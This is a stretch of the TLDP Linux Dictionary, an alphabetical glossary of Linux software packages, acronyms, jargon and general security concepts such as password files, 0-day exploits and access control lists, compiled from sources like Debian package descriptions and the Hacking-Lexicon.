The UNIX file that contains the account information, such as username, password, login directory, and default shell. All normal users on the system can read this file. Key point: The passwords are encrypted, so even though everyone can read the file, it doesn't automatically guarantee access to the system. However, programs like crack are very effective at decrypting the passwords. On any system with many accounts, there is a good chance the hacker will be able to crack some of the accounts if they get hold of this file. Key point: Modern UNIX systems allow for shadowed password files, stored in locations like /etc/shadow that only root has access to. The normal password file still exists, minus the password information. This provides backwards compatibility for programs that still must access the password file for account information, but which have no interest in the passwords themselves. Key point: The chief goal of most hacks against UNIX systems is to retrieve the password file. Many attacks do not compromise the machine directly, but are able to read files from the machine, such as this file. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

/etc/services

On UNIX, the configuration file /etc/services maps port numbers to named services. Key point: Its role in life is so that programs can do a getportbyname() sockets call in their code in order to get what port they should use. For example, a POP3 email daemon would do a getportbyname("pop3") in order to retrieve the number 110 that pop3 runs at. The idea is that if all POP3 daemons use getportbyname(), then no matter what POP3 daemon you run, you can always reconfigure its port number by editing /etc/services. Misunderstanding: This file is bad in order to figure out what port numbers mean. If you want to find out what ports programs are using, you should instead use the program lsof to find out exactly which ports are bound to which processes. If running lsof is not appropriate, then you should lookup the ports in a more generic reference. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

0-day (zero-day)

The term 0-day exploit describes an exploit that is not publicly known. It describes tools by elite hackers who have discovered a new bug and shared it only with close friends. It also describes some new exploit for compromising popular services (the usual suspects: BIND, FTP services, Linux

distros, Microsoft IIS, Solaris servers). Many 0-day exploits are discovered by the victims when hackers use them, or by honeypots. The term "0-day" describes the fact that the value of exploits quickly goes down as soon as they are announced. The next day they are half as valuable. The 2nd day they are a 1/4 as valuable. Ten days later they are 1/1000 as valuable as on day 0. This is because script-kiddies quickly use the exploits on computers throughout the Internet, compromising systems before anybody else can get to them. Contrast: The term 0-day exploit describe the hard-to-use exploits by the discoverer himself (or close friends), in contrast to the easy-to-use scripts employed by script kiddies. For example, a buffer-overflow script will go through many phases as people try to find the right offsets for the target platforms, but will eventually end up as a broad-spectrum aim-and-shoot script that anybody could use. Key point: One of the dangers of 0-day exploits is BUGTRAQ camping. A hacker discovers all the services running on the target victim and waits for day-0 when the exploit is announced. At that time, the hacker attacks the systems with the new exploit. Key point: The term "0-day" describes any bit of information in the community, whether it is serial numbers, lists of proxies, or passwords to porn sites. As soon as such information becomes well-known and exploited by large numbers of people, it is then fixed by the victim. Information has a "half-life": the older it is, the less value it has. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

100VG

100 Voice Grade [technology] From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

2-Disk Xwindow embedded Linux

Mungkie Associates Inc. provides 2-Disk Xwindow embedded Linux. The distribution is intended to be a demonstration of Mungkie Associates' embedded appliance development environment, showing the sort of environment that can be created for small appliance GUI systems. It is further intended to give a minimal Linux base system on 1 disk and a fully expandable X system implementation on a second disk. The two disks can be used together for a minimal system or the X disk can be used seperately on any libc2.1 linux system. The source tree is compiled on Debian and the /lib/ files taken directly from the Debian-2.2.3 distribution. The 2-disk system is free for personal use, but restrictions apply to commercial usage. Version 1.4rc802 was released November 6, 2002. Version 1disk1.0 final was released January 18, 2003. A 1disk 1.0 update was released February 5, 2003. Version 1.0.8 (Source code) was released May 30, 2003. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

2S2D

Double Sided - Double Density (FDD) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dchess

3D chess for X11 3 dimensional Chess for X11R6. Three boards, 96 pieces and 26 directions. From Debian 3.0r0 APT 3Dwm is a 3D window manager for Linux From Binh

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3DDDI

3D Device Dependent Interface (MS), "3D DDI" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3DRAM

3 Dimensional Random Access Memory (RAM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm

The 3dwm project is working with the creation of a three-dimensional workspace manager that can run in the 3D Cube as well as on desktop computers. Note that wm does not stand for the term window manager. It is a bit misleading; 3dwm is not a window manager in the true sense of the word, but rather more of a gerneral user environment. The window manager functionality of the system is merely the tip of the iceberg; 3Dwm contains general primitives for building applications with

three-dimensional interfaces. From 3dwm

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-clock

A 3Dwm apps The 3Dwm clock application (tdwm-clock) is the first real application that is even remotely useful. It makes use of the 3Dwm Nobel API, including the new solid modeling support, to create a three-dimensional analog clock displaying the current time. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-csgclient

A 3Dwm client A simple client which is builded using new libsolid. This is only an example on how libsolid work. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-geoclient

A 3Dwm client This is a very simple 3Dwm client that connects to the exported GeometryKit in the server, creates a Geometry, loads a 3D file from the local system (in this case a simple model of an office, which also happens to be Rob's room), and passes it to the 3Dwm server. The 3Dwm server will happily render any geometry that is created, so running geoclient several times will add more geometries to the graphical output. Please note that you may need to zoom out (using the 'X' key) to see graphical output. The geoclient is able to open native .raw files as well as standard 3ds files (using MeshIO). In other words, you may experiment by loading other files than the supplied office model to the 3Dwm server. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-pickclient

A 3Dwm client This is an example showing how libzorn work. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-server

Binary server daemon This package contains display binary server daemon. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-texclient

A 3Dwm client This is a simple client used for testing the 3Dwm texture capabilities. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3dwm-vncclient

A 3Dwm client This will open a connection to the VNC server from the 3Dwm server, and the graphical output will be displayed on a single quad in the 3Dwm world (you may need to zoom out to see it). Currently, vncclient supports no interaction with the VNC window (the bindings and the actual communication code has been implemented, only the 3Dwm side is missing). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3GIP

3rd Generation . Internet Protocol (org., IP, GPRS, WLAN, mobile-systems), "3G.IP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3GL

3rd Generation Language From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

3GPP

Third Generation Partnerships Projects (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

4.2

/for' poynt too/ n. Without a prefix, this almost invariably refers to BSD Unix release 4.2. Note that it is an indication of cluelessness to say "version 4.2", and "release 4.2" is rare; the number stands on its own, or is used in the more explicit forms 4.2BSD or (less commonly) BSD 4.2. Similar remarks apply to "4.3", "4.4" and to earlier, less-widespread releases 4.1 and 2.9. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

44bsd-rdist

4.4BSD rdist. This is the traditional rdist from 4.4BSD Lite with FreeBSD fixes. It is provided for compatibility with third-party rdist implementations. This is the binary package for 4.4BSD rdist. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

4GL

4th Generation Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

4GT

4 GB [RAM] Tuning (RAM, GB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

4Suite

The 4Suite package contains XML-related tools and libraries for Python, including 4DOM, 4XSLT, 4XPath, 4RDF, and 4XPointer. 4DOM is an implementation of the World Wide Web Consortium's (W3C) standard DOMAPI for HTML and XML content manipulation. 4DOM provides full distributed-object support based on the IDL used in the formal DOM specification. 4XSLT is an XSLT processor, which can be used to render XML documents as customized and stylized HTML for current Web browsers. 4XSLT also provides a powerful programming API for applications to use for low-level, customized transformations of XML documents. 4XPath is a library implementing the W3C's XPath language for indicating and selecting portions of an XML document. 4RDF is a toolkit and library for RDF processing. 4XPointer is a toolkit for processing fragment identifiers for URI references which locate resources of Internet media type text/xml. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

5GL

5th Generation Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

6tunnel

TCP proxy for non-IPv6 applications 6tunnel allows you to use services provided by IPv6 hosts with IPv4-only applications and vice versa. It can bind to any of your IPv4 or IPv6 addresses and forward all data to IPv4 or IPv6 host. It can be used for example as an IPv6-capable IRC proxy. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

8-character password

Some systems, like Win9x and Solaris, limit the user to 8 characters in the password. Key point: Security conscious users of such systems need to make sure they use a more random mix of characters because they cannot create long passwords. Key point: Password cracking such systems is a little easier. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

8.3 filename

A filename corresponding to the standard MS-DOS gloaming conventions, which restrict filenames to 8 characters and optional extensions to 3 characters. From QUECID Such restrictions can prove to be an infuriating problem like when transferring files across a heterogenous network such as between Windows and Linux machines. Since older versions of Windows only support 8.3 style filenames files transferred to it will be truncated. For example, "C:\Program Files" may appear to be "C:\Progra~1" From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

802.11

Standard protocol for radio-frequency wireless data transmission and networking. Also called Wi-Fi. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

80211HR

802.11 High Rate (IEEE, WLAN), "802.11/HR" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

822-date

Command to print date and time in RFC822 format From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

8PSK

8 Phase Shift Keying (EDGE, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

8VSB

8-Vestigial Side Band, "8-VSB" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

9menu

Creates X menus from the shell. This is 9menu, a simple program that allows you to create X menus from the shell, where each menu item will run a command. 9menu is intended for use with 9wm, but can be used with any other window manager. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

9wm

An emulation of the Plan 9 window manager 8-1/2. 9wm is an X window manager which attempts to emulate the Plan 9 window manager 8-1/2 as far as possible within the constraints imposed by X. It provides a simple yet comfortable user interface, without garish decorations or title-bars. Or icons. And it's click-to-type. From Debian 3.0r0 APT

From Debian 3.0r0 APT

[

check file types and compare values From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

~user

On UNIX, a home directory can be referenced by using a tilde (~) followed by their login name. For example, "ls ~rob" on my computer will list all the files in "/home/rob". Key point: Web-servers often allow access to user's directories this way. An example would be

<http://www.robertgraham.com/~rob>. Key point: A big hole on the Internet is that people unexpectedly open up information. For example, the file .bash_history is a hidden file in a person's directory that contains the complete text of all commands they've entered into the shell (assuming their shell is bash, which is the most popular one on Linux). From Hacking-Lexicon

From Hacking-Lexicon

A

a-Linux

a-Linux is an x86 floppy-based mini-distribution, where assembly code meets Linux kernel. It contains only programs written in assembly language. It is extremely small, yet functional, and provides HTTP and FTP services out-of-the-box. Initial version 0.17 was released August 17, 2002. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

a2p

Awk to Perl translator From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

a2ps

GNU a2ps 'Anything to PostScript' converter and pretty-printer a2ps converts files into PostScript for printing or viewing. It uses a nice default format, usually two pages on each physical page, borders surrounding pages, headers with useful information (page number, printing date, file name or supplied header), line numbering, symbol substitution as well as pretty printing for a wide range of programming languages. Historically, a2ps started as a text to PostScript converter, but thanks to powerful delegations it is able to let you use it for any kind of files, ie it can also digest manual pages, dvi files, texinfo, Among the other most noticeable features of a2ps are: – various encodings (all the Latins and others), – various fonts (automatic font down loading), – various medias, – various printer interfaces, – various output styles, – various programming languages, – various helping applications, – and various spoken languages. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

a2ps

The a2ps filter converts text and other types of files to PostScript format. A2ps has pretty-printing capabilities and includes support for a wide number of programming languages, encodings (ISO Latins, Cyrillic, etc.), and media. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

a52dec

Utilities to extract and decode ATCS A/52 streams Utilities to extract and decode ATCS A/52 streams. The A/52 standard is used in a variety of applications, including digital television and DVD. It is also known as AC-3. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AA

Auto Answer (MODEM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

aa3d

An ASCII art stereogram generator This program generates the well known and popular random dot stereograms in ASCII art. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AAA

Authentication, Authorization and Accounting From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABAP4

Advanced Business Application Programming/4 (SAP, R/3, 4GL), "ABAP/4" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABATS

Automatic Bit Access Test System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABBS

Apple Bulletin Board System (Apple) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABC

Atanasoff-Berry-Computer From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abc2ps

Translates ABC music description files to PostScript This is the Debian port of the abc2ps program by Michael Methfessel. The program translates tunes written in the ABC format to PostScript, which can then be viewed using Ghostview et al. or printed on a PostScript printer or through Ghostscript. It supports various semi-standard extensions to the ABC standard, such as multiple voices and staves.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABCD

Altavista Business Card Directory (WWW) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abcde

A Better CD Encoder A frontend program to cdparanoia, wget, cd-discid, id3, and your favorite Ogg or MP3 encoder (defaults to oggenc). Grabs an entire CD and converts each track to Ogg or MP3, then comments or ID3-tags each file, with one command. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abcmidi

A converter from ABC to MIDI format and back This package contains the programs `abc2midi' and `midi2abc', which convert from the abc musical notation format to standard MIDI format and vice-versa. They can generate accompaniment from guitar chords in the abc file, as well as insert various MIDI events; the MIDI-to-abc translation tries to figure out bars, triplets and accidentals on its own. The package also contains `abc2abc' (an abc prettyprinter/transposer) and `mftext' (a program that will dump a MIDI file as text). The programs in this package are based on the `midifilelib' distribution available from <http://www.harmony-central.com/MIDI/>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abcmidi-yaps

Yet another ABC to PostScript converter This program translates tunes written in the ABC format to PostScript, which can then be viewed on screen or printed. It is essentially a (non-exclusive) alternative to abc2ps, being based on the abc2ps PostScript code together with the ABC parser from the abcmidi package. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABEL

Advanced Boolean Expression Language From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABEND

ABnormal END (Netware) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABI

Application Binary Interface (POE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABI

Application Binary Interface: details the machine language of the CPU family as well as the calls between the application and the operating system. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abichack

binary compatibility checking tool ABICheck is a tool for checking an application's compliance with a library's defined Application Binary Interface (ABI). It relies on ABI definition information contained in the library. Example definitions are given for GNOME and glibc. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABIOS

Advanced Basic Input Output System (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABIST

Automatic Built In Self Test (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abiword

WYSIWYG word processor AbiWord is the first application of a complete, open source office suite. The upstream source includes cross-platform support for Win32, BeOS, and QNX as well as GTK+ on Unix. AbiWord is still being developed. It's quite usable but not yet full-featured or polished. For many applications, however, it should prove effective and efficient. This program includes support for reading Microsoft Word files, RTF files, and many other foreign file formats. Natively, it uses a custom XML-based file format. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABM

Asynchronous Balanced Mode From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABNF

Augmented Backus-Naur Form (BNF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abook

A text-based ncurses address book application. abook is a text-based ncurses address book application. It provides many different fields of user info. abook is designed for use with mutt, but can be used independently. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABP

Address Book Provider (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABR

Available Bit Rate (ATM, CBR, VBR, UBR, QOS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABS

Apple Business Systems (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

absolute

Relating to file systems, the location of a directory or file that can be accessed regardless of the current working location of a user or program. For example, to access the Samba configuration file regardless of your current working directory, use the following absolute path: /etc/samba/smb.conf. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

absolute pathname

A pathname that explicitly identifies all directories from the root directory to an individual file. For example, pathname /home/linus/kernel/test refers to a file named test in directory kernel, which

belongs to directory linux, which belongs to directory home, which belongs to the root directory /.
From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ABUI

Association of Banyan Users International (org., Banyan, VINES, user group, predecessor, ENA)
From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AbulEdu

AbulEdu is a Mandrake-based distribution for primary schools. It is currently in French but most of the tools can be translated. An AbulEdu server can handle Mac (netatalk), Windows (samba), GNU/Linux and X terminal (with LTSP) clients. The server acts as a central gateway for Web, mail, and printing, and facilitates the management of classes, pupils, and teachers. Everybody can publish Web pages on an intranet using Apache and all administration tasks are performed using a browser. The result is that a teacher who is not a computer specialist can install and manage a school network. Stable version 1.0.7-II was released May 26, 2003. Development version 1.0.11 beta 4 was released October 7, 2002. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

abuse

Crack dot Com's Abuse action game. Abuse is a side scrolling shoot-em-up action game from Crack dot Com. This package contains the Abuse game engine, in X and full screen svga versions. It requires a mouse. This package is obsolete and will be removed later (if you still need it, contact the maintainer). Please use abuse-sdl instead. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

access

determine whether a file can be accessed From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

access control (access)

Access control refers to controlling access by a user to a computer system, or data on that system. In formal terms, a "subject" (e.g. a user) attempts to access the "object" (e.g. system or data). An access control system will evaluate the security levels of the subject and object in order to see if access is permitted. Example: A simple example is the case where you enter a username and password in order to log onto the computer. Contrast: mandatory access control The system gives users "clearance levels", and assigns sensitivity levels to information. Therefore, if you only have "secret" clearance level, you cannot access "top-secret" information, but you can access "secret" or "confidential" information. See: Bell-LaPadula Model for more information. discretionary access control This system assigns subjects (users) to one or more groups. An object (system or file) contains a DACL (discretionary access control list) enumeration which users and groups may access the object. See: Access Control List for more information. Key point: There are different kinds of access. Read access means that somebody can read information, whereas write access implies that that somebody can change the data. For example, you can get a copy of your credit report and read it, but you can't necessarily change the data. From Hacking-Lexicon
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Access Control List (access, ACL)

Controlling access not only the system in general, but also resources within the system. For example, firewalls can be configured to allow access to different portions of the network for different users. Likewise, even after you log onto a file server, the server may still block access to certain files. Key point: An Access Control List (ACL) is used to list those accounts that have access to the resource that the list applies to. When talking about firewalls, the ACL implies the list of IP addresses that have access to which ports and systems through the firewall. When talking about WinNT, the ACL implies the list of users that can access a specific file or directory on NTFS. Contrast: Discretionary Access Control is the ability to have fine grained control over who has access to what resources. Misconception: Many people believe that firewall IP address rules or IEEE 802.11 MAC address rules form robust ACLs. However, since neither IP addresses or MAC addresses provide robust authentication, such ACLs provide only a weak form of security. When these so-called ACLs are relied upon for security, they frequently lead to compromises as people spoof their IP or forge their MAC address. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

access permissions

a set of permissions associated with every file and directory that determine who can read it, write to it, or execute it. Only the owner of the file (or the super-user) can change these permissions. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

accessdb

dumps the content of a man-db database in a human readable format. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

- ACID** Atomicity – Consistency – Isolation – Durability (DB, TP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- acidlab** Analysis Console for Intrusion Databases The Analysis Console for Intrusion Databases (ACID) is a PHP-based analysis engine to search and process a database of security events generated by various IDSes, firewalls, and network monitoring tools. The features currently include:
- o Query-builder and search interface for finding alerts matching on alert meta information (e.g. signature, detection time) as well as the underlying network evidence (e.g. source/destination address, ports, payload, or flags).
 - o Packet viewer (decoder) will graphically display the layer-3 and layer-4 packet information of logged alerts
 - o Alert management by providing constructs to logically group alerts to create incidents

(alert groups), deleting the handled alerts or false positives, exporting to email for collaboration, or archiving of alerts to transfer them between alert databases. o Chart and statistic generation based on time, sensor, signature, protocol, IP address, TCP/UDP ports, or classification ACID has the ability to analyze a wide variety of events which are post-processed into its database. Tools exist for the following formats: o using Snort (www.snort.org) – Snort alerts – tcpdump binary logs o using logsnorter (www.snort.org/downloads/logsnorter-0.2.tar.gz) – Cisco PIX – ipchains – iptables – ipfw From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

acidwarp

This is a linux port of the popular dos program Acidwarp. Acidwarp is a program that makes neat looking pictures and rotates the palette. Its only use is for entertainment, but it is neat. I stumbled upon source code for Acidwarp on the net one day, and decided that it was high time someone ported it to linux. So, here it is. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACIS

American Committee for Interoperable Systems (org., USA) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACK

/ak/ interj. 1. [common; from the ASCII mnemonic for 0000110] Acknowledge. Used to register one's presence (compare mainstream Yo!). An appropriate response to ping or ENQ. 2. [from the comic strip "Bloom County"] An exclamation of surprised disgust, esp. in "Ack pffft!" Semi-humorous. Generally this sense is not spelled in caps (ACK) and is distinguished by a following exclamation point. 3. Used to politely interrupt someone to tell them you understand their point (see NAK). Thus, for example, you might cut off an overly long explanation with "Ack. Ack. Ack. I get it now". 4. An affirmative. "Think we ought to ditch that damn NT server for a Linux box?" "ACK!" There is also a usage "ACK?" (from sense 1) meaning "Are you there?", often used in email when earlier mail has produced no reply, or during a lull in talk mode to see if the person has gone away (the standard humorous response is of course NAK (sense 1), i.e., "I'm not here"). From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ack

Kanji code converter ACK is a highly versatile Kanji code converter. ACK can do reciprocal conversion among Japanese EUC, Shift-JIS and 7bit JIS. JIS Kata-kana(SJIS Han-kaku Kana) is also supported. Kanji code can be automatically detected even if the input stream contains Kata-kana characters. Besides, ACK can be used as a Kanji code checker with very high detection rate. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACL

Access Control List (DCE, DFS, NDS, AD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

acl

Access control list utilities This package contains the getfacl and setfacl utilities needed for manipulating access control lists. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Audio Capture and Playback Adapter (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACPC

Apple Communications Protocol Card (Apple) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACPI

(Advanced configuration and Power Interface) is an open industry specification co-developed by Hewlett-Packard, Intel, Microsoft, and Toshiba. ACPI establishes industry-standard interfaces for OS-directed configuration and power management on laptops, desktops, and servers. ACPI evolves the existing collection of power management BIOS code, Advanced Power Management (APM) application programming interfaces (APIs, PNPBIOS APIs, Multiprocessor Specification (MPS) tables and so on into a well-defined power management and configuration interface specification. The specification enables new power management technology to evolve independently in operating systems and hardware while ensuring that they continue to work together. From ACPI <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACPI

Advanced Configuration and Power Interface (Intel, MS, Toshiba, ACPI, OSPM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACPICA

Advanced Configuration and Power Interface – Component Architecture (ACPI, Intel), "ACPI-CA" From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

acpid

Utilities for using ACPI Modern computers support the Advanced Configuration and Power Interface (ACPI) to allow intelligent power management on your system and to query battery and configuration status. This package contains acpid, which is the user-space daemon needed in order to make the Linux ACPI support completely functional. In order to use this package you need a recent Kernel (=>2.4.7). This can be one including the patches on <http://acpid.sourceforge.net> or a non patched one. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACPT

Automated Corporate Planning Tool From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACR

Anonymous Call Rejection From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ACR

Attenuation to Crosstalk Ratio (cable) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

AD

Autonomous DOMAIN From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ad-hoc

A wireless networking architecture in which there is no central access point. Nodes act as peers on the network and transmit information directly to recipient nodes. From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADA

Automatic Data Acquisitions From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Ada

n. A Pascal-descended language that was at one time made mandatory for Department of Defense software projects by the Pentagon. Hackers are nearly unanimous in observing that, technically, it is precisely what one might expect given that kind of endorsement by fiat; designed by committee, crotchish, difficult to use, and overall a disastrous, multi-billion-dollar boondoggle (one common description was "The PL/I of the 1980s"). Hackers find Ada's exception-handling and inter-process communication features particularly hilarious. Ada Lovelace (the daughter of Lord Byron who became the world's first programmer while cooperating with Charles Babbage on the design of his mechanical computing engines in the mid-1800s) would almost certainly blanch at the use to which her name has latterly been put; the kindest thing that has been said about it is that there is probably a good small language screaming to get out from inside its vast, elephantine bulk. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

adacgi

Ada CGI interface This package lets you build CGI applications in Ada. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Adamantix

Adamantix, formerly known as TrustedDebian, aims to create a highly secure but usable Linux platform. To accomplish this, the project will use currently available security solutions for Linux (like kernel patches, compiler patches, security related programs and techniques) and knit these together to a highly secure Linux platform. The initial release, version 0.9, became available March 18, 2003. Version 1.0.1 was released June 12, 2003. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADDC

Automatic Data Direction Control (RS-485) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADDDC

Automatic Direct Distance Dialing System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

addgroup

add a user or group to the system From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

addr2line

convert addresses into file names and line numbers. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

addressbook

Tk personal address manager Addressbook is an address manager meant to replace your old paper rolodex. It stores addresses, phone and fax numbers and can interact with some additional programs (i.e., for dialing) It has a nice user interface written in Tcl/Tk. The additional suggested software will enable additional functionality, such as automatic dialing, faxing, printing, etc. The program is still fully functional without any of the suggested software. Author: Clemens Durka

<clemens@dagobah.de> Homepage: <http://home.pages.de/~addressbook/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

adduser

Add and remove users and groups This package includes the adduser and deluser commands for creating and removing users. o Adduser can create new users and groups and add existing users to existing groups. o Deluser can remove users and groups and remove users from a given group. Adding users with adduser is much easier than adding them by hand. Adduser will choose appropriate UID and GID values, create a home directory, copy skeletal user configuration, allow you to set an initial password and the GECOS field. Deluser can optionally remove and backup the user's home directory and mail spool or all files on the system owned by him. Optionally a custom script can be executed after each of the commands. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ADIMM

Asynchronous Dual Inline Memory Module (DIMM, IC, Leadtek) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

adjtimex

Linux Dictionary

Utility to display or set the kernel time variables This program gives you raw access to the kernel time variables. For a machine connected to the Internet, or equipped with a precision oscillator or radio clock, the best way to keep the system clock correct is with xntpd. However, for a standalone or intermittently connected machine, you may use adjtimex instead to at least correct for systematic drift. adjtimex can optionally adjust the system clock using the CMOS clock as a reference, and can log times for long-term estimation of drift rates. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

admesh

